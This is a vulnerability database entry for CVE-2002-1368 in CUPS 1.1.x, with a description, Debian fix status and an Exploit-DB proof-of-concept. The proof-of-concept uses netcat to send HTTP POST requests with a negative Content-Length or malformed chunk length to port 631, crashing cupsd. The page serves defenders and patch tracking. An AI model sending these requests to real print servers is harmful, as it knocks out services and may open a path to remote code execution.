CVE-2002-1368
Description
Common Unix Printing System (CUPS) 1.1.14 through 1.1.17 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code by causing negative arguments to be fed into memcpy() calls via HTTP requests with (1) a negative Content-Length value or (2) a negative length in a chunked transfer encoding.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
CUPS 1.1.x - Negative Length HTTP Header
source: https://www.securityfocus.com/bid/6437/info
A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems.
An attacker can exploit this vulnerability by connecting to a vulnerable system and issuing malformed HTTP headers with a negative value for some fields. When the cupsd service receives this request, it will crash.
This vulnerability is very similar to the issue described in BID 5033. It may be very likely that this vulnerability may be exploited to execute malicious attacker-supplied code on BSD, and possibly other, platforms.
*** January 05, 2003
There are reports of this vulnerability being actively exploited in the wild. Vulnerable users are advised to update immediately.
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked
- - - - -FFFFFFFEOS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.1.18-1 |
| sid | Fixed | 1.1.18-1 |
| forky | Fixed | 1.1.18-1 |
| bullseye | Fixed | 1.1.18-1 |
| bookworm | Fixed | 1.1.18-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.